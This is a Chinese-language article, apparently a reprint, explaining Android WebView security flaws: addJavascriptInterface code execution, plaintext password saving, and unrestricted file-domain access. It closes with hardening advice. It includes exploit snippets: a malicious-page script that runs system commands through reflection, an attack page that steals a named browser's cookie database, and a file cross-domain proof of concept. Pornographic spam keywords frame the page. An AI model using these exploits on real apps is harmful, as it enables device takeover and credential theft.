成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Android安全開發(fā)之WebView中的地雷

安全 移動安全 黑客攻防
WebView功能強大,應用廣泛,但它是天使與惡魔的合體,一方面它增強了APP的上網(wǎng)體驗,讓APP功能更多樣化,另一方面它也引入了很多的安全問題。

[[174267]]

1.About WebView

在Android開發(fā)中,經(jīng)常會使用WebView來實現(xiàn)WEB頁面的展示,在Activiry中啟動自己的瀏覽器,或者簡單的展示一些在線內容等。WebView功能強大,應用廣泛,但它是天使與惡魔的合體,一方面它增強了APP的上網(wǎng)體驗,讓APP功能更多樣化,另一方面它也引入了很多的安全問題。在過去幾年WebView中被披露的重大漏洞包括了任意代碼執(zhí)行漏洞、跨域、密碼明文保存等,這些安全問題可以直接導致用戶敏感信息泄露,移動終端被惡意攻擊者控制。下文將詳細介紹這一系列安全問題,羅列相關的一些案列,并提供相應安全開發(fā)建議。

2.WebView任意代碼執(zhí)行漏洞

已知的WebView任意代碼執(zhí)行漏洞有4個。較早被公布是CVE-2012-6636,揭露了WebView中addJavascriptInterface接口會引起遠程代碼執(zhí)行漏洞。接著是CVE-2013-4710,針對某些特定機型會存在addJavascriptInterface API引起的遠程代碼執(zhí)行漏洞。之后是CVE-2014-1939爆出WebView中內置導出的“searchBoxJavaBridge_”Java Object可能被利用,實現(xiàn)遠程任意代碼。再后來是CVE-2014-7224,類似于CVE-2014-1939,WebView內置導出“accessibility”和“accessibilityTraversal”兩個Java Object接口,可被利用實現(xiàn)遠程任意代碼執(zhí)行。

后文我們將圍繞下面這段常見的示例代碼展開:

  1. WebView mWebView = (WebView)findViewById(R.id.webView);  
  2. ①WebSettings msetting = mWebView.getSettings();  
  3. ②msetting.setJavaScriptEnabled(true);  
  4. ③mWebView.addJavascriptInterface(new TestAddJsInterface(), "myjs");  
  5. ④mWebView.loadUrl(getIntent().getStringExtra("url")); 

CVE-2012-6636

Android系統(tǒng)為了方便APP中Java代碼和網(wǎng)頁中的Javascript腳本交互,在WebView控件中實現(xiàn)了addJavascriptInterface接口,對應示例代碼中的③,網(wǎng)頁中的JS腳本可以利用接口“myjs”調用App中的Java代碼,而Java對象繼承關系會導致很多Public的函數(shù)及getClass函數(shù)都可以在JS中被訪問,結合Java的反射機制,攻擊者還可以獲得系統(tǒng)類的函數(shù),進而可以進行任意代碼執(zhí)行。漏洞在2013年8月被披露后,很多APP都中招,其中瀏覽器APP成為重災區(qū)。但截至目前任有很多APP中依然存在此漏洞,與以往不同的只是攻擊入口發(fā)生了一定的變化。另外我們也發(fā)現(xiàn)一些小廠商的APP開發(fā)團隊因為缺乏安全意識,依然還在APP中隨心所欲的使用addjs接口,明目張膽踩雷。

出于安全考慮,Google在API 17中規(guī)定允許被調用的函數(shù)必須以@JavascriptInterface進行注解,理論上如果APP依賴的API為17或者以上,就不會受該問題的影響。但部分機型上,API 17依然受影響,并且如果APP存在此漏洞,且targetsdk小于17,那漏洞的影響可以覆蓋到android4.4的終端,如果大于等于17,只能在android4.2的機型上觸發(fā),所以前一種情況的危害目前來看依舊很大。

CVE-2014-1939

在2014年發(fā)現(xiàn)在Android4.4以下的系統(tǒng)中,webkit中默認內置了“searchBoxJavaBridge_”, 代碼位于“java/android/webkit/BrowserFrame.java”,該接口同樣存在遠程代碼執(zhí)行的威脅。

CVE-2014-7224

在2014年,研究人員Daoyuan Wu和Rocky Chang發(fā)現(xiàn),當系統(tǒng)輔助功能服務被開啟時,在Android4.4以下的系統(tǒng)中,由系統(tǒng)提供的WebView組件都默認導出"accessibility" 和"accessibilityTraversal"這兩個接口,代碼位于“android/webkit/AccessibilityInjector.java”,這兩個接口同樣存在遠程任意代碼執(zhí)行的威脅。

常見掛馬頁面

  1. function addJsHack(cmdArgs){ 
  2. for (var obj in window) 
  3. { try { 
  4. if ("getClass" in window[obj]) { 
  5. try{ 
  6. window[obj].getClass().forName("java.lang.Runtime"). 
  7. getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);; 
  8. }catch(e){ 
  9. }  
  10. } catch(e) { 
  11. addJsHack() 

掃碼攻擊

圖片來自于某漏洞收集平臺,通過二維碼掃描觸發(fā)WebView任意代碼執(zhí)行漏洞:

以聚美優(yōu)品為例Ver 3.305,APK MD5:DD8B00EDA393526F66D25CA16E8C7B5C,相關代碼位于com.jm.android.jumei.controls.JuMeiCustomWebView.java中:

  1. public void initWebView(Activity activity, String str, LinearLayout linearLayout, IWebViewNotify iWebViewNotify) { 
  2. ...... 
  3. this.wapView.addJavascriptInterface(new WebAppJSInterface(), WEBVIEW_JS_INTERFACE_NAME); 

3.WebView密碼明文存儲漏洞

WebView默認開啟密碼保存功能mWebView.setSavePassword(true),如果該功能未關閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,如果選擇"是",密碼會被明文保到/data/data/com.package.name/databases/webview.db

4.WebView域控制不嚴格漏洞

setAllowFileAccess

Android中默認mWebView.setAllowFileAccess(true),在File域下,能夠執(zhí)行任意的JavaScript代碼,同源策略跨域訪問能夠對私有目錄文件進行訪問等。APP對嵌入的WebView未對file:/// 形式的URL做限制,會導致隱私信息泄露,針對IM類軟件會導致聊天信息、聯(lián)系人等等重要信息泄露,針對瀏覽器類軟件,則更多的是cookie信息泄露。

setAllowFileAccessFromFileURLs

在JELLY_BEAN以前的版本默認是setAllowFileAccessFromFileURLs(true),允許通過file域url中的Javascript讀取其他本地文件,在JELLY_BEAN及以后的版本中默認已被是禁止。

setAllowUniversalAccessFromFileURLs

在JELLY_BEAN以前的版本默認是setAllowUniversalAccessFromFileURLs(true),允許通過file域url中的Javascript訪問其他的源,包括其他的本地文件和http,https源的數(shù)據(jù)。在JELLY_BEAN及以后的版本中默認已被禁止。

360手機瀏覽器缺陷可導致用戶敏感數(shù)據(jù)泄漏

以360手機瀏覽器4.8版本為例,由于未對file域做安全限制,惡意APP調用360瀏覽器加載本地的攻擊頁面(比如惡意APP釋放到SDCARD上的一個HTML)后,就可以獲取360手機瀏覽器下的所有私有數(shù)據(jù),包括webviewCookiesChromium.db下的cookie內容,攻擊頁面關鍵代碼:

  1. function getDatabase() { 
  2. var request = false
  3. if(window.XMLHttpRequest) { 
  4. request = new XMLHttpRequest(); 
  5. if(request.overrideMimeType) { 
  6. request.overrideMimeType('text/xml');} 
  7. xmlhttp = request
  8. var prefix = "file:////data/data/com.qihoo.browser/databases"
  9. var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db 
  10. var path = prefix.concat(postfix); 
  11. // 獲取本地文件代碼 
  12. xmlhttp.open("GET", path, false); 
  13. xmlhttp.send(null); 
  14. var ret = xmlhttp.responseText; 
  15. return ret; 

漏洞利用代碼:

  1. copyFile(); //自定義函數(shù),釋放filehehe.html到sd卡上 
  2. String url = "file:///mnt/sdcard/filehehe.html"
  3. Intent contIntent = new Intent(); 
  4. contIntent.setAction("android.intent.action.VIEW"); 
  5. contIntent.setData(Uri.parse(url)); 
  6. Intent intent = new Intent(); 
  7. intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity"); 
  8. intent.setAction("android.intent.action.VIEW"); 
  9. intent.setData(Uri.parse(url)); 
  10. this.startActivity(intent); 

5.WebView file跨域漏洞

Android 2.3 webkit或者瀏覽器APP自建內核中會存在此類跨域漏洞。在處理轉跳時存在漏洞,導致允許從http域跨向file域,實現(xiàn)跨域漏洞。以某瀏覽器4.5.0.511版本為例,寫一個html,命名為filereach.html,存放在服務器上。該瀏覽器4.5.0.511的X5內核存在http域跨file域的漏洞。POC代碼如下所示:

  1. <iframenameiframename=f src="www.baidu.com" ></iframe> 
  2. <script> 
  3.    function init(){ 
  4.        f.location = "file:///default.prop"
  5.    } 
  6.    setTimeout(init,5000) 
  7. </script> 

在瀏覽器中打開服務器上的filereach.html,將從http域跳轉到file域

6.安全開發(fā)建議

1)使用騰訊御安全類漏洞掃描工具進行基礎開發(fā)漏洞檢測定位;

2)建議開發(fā)者通過以下方式移除該JavaScript接口:

  1. removeJavascriptInterface("searchBoxJavaBridge_") 
  2. removeJavascriptInterface("accessibility"); 
  3. removeJavascriptInterface("accessibilityTraversal") 

3)出于安全考慮,為了防止Java層的函數(shù)被隨便調用,Google在4.2版本之后,規(guī)定允許被調用的函數(shù)必須以@JavascriptInterface進行注解

4)通過WebSettings.setSavePassword(false)關閉密碼保存提醒功能

5)通過以下設置,防止越權訪問,跨域等安全問題:

setAllowFileAccess(false)

setAllowFileAccessFromFileURLs(false)

setAllowUniversalAccessFromFileURLs(false)

7.參考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224

http://drops.wooyun.org/webview.html

責任編輯:趙寧寧 來源: E安全
相關推薦

2016-05-18 09:52:20

2016-10-24 14:23:14

2013-09-13 13:15:28

AndroidWebViewJavaScript

2010-08-04 10:17:17

Android開發(fā)WebView組件

2012-04-24 09:58:26

2020-04-17 13:27:05

安全開發(fā)網(wǎng)絡安全網(wǎng)絡攻擊

2015-03-03 15:53:31

Android控件

2014-11-19 10:08:47

2019-02-14 13:21:31

2019-06-06 12:11:42

2015-11-09 14:17:51

2013-12-17 14:07:37

2014-02-21 13:02:44

2013-07-08 14:12:54

安全開發(fā)百年編程編程語言

2014-02-11 13:49:00

2014-09-17 10:57:30

AndroidWebview安全交互

2023-12-25 14:03:52

2020-01-02 14:25:50

工具代碼開發(fā)

2015-03-20 09:03:51

2015-10-28 13:33:25

思科Lancope收購
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 综合在线视频 | 欧美一区二区视频 | 中文字幕免费视频 | www.天堂av.com| 欧美一级二级在线观看 | 91精品国产综合久久久久久丝袜 | 日本午夜网站 | 天天操夜夜操 | 欧美日本韩国一区二区三区 | 夜夜撸av | 日韩精品成人 | 国产成人精品一区二区在线 | 日本激情一区二区 | 久久男人 | 亚洲中午字幕 | 久久久精品网站 | 久久精品国产久精国产 | 欧美日韩大片 | 精品久久中文字幕 | 国产精品久久国产精品 | 久久久久一区二区三区 | 国产aaaaav久久久一区二区 | 久久人爽 | 红色av社区 | 久久国产日韩欧美 | 午夜影院| 男女爱爱福利视频 | 亚洲欧美国产一区二区三区 | 一区二区三区中文字幕 | 人人爱干 | 九九热在线视频免费观看 | 国产一在线 | 一区二区在线不卡 | 国产乱码精品一区二区三区中文 | 国产免费视频在线 | 国产一级在线观看 | 自拍偷拍亚洲一区 | 国产精品爱久久久久久久 | 天天干天天爱天天 | 精品久久久久久久久久久久久久 | 国产成人网 |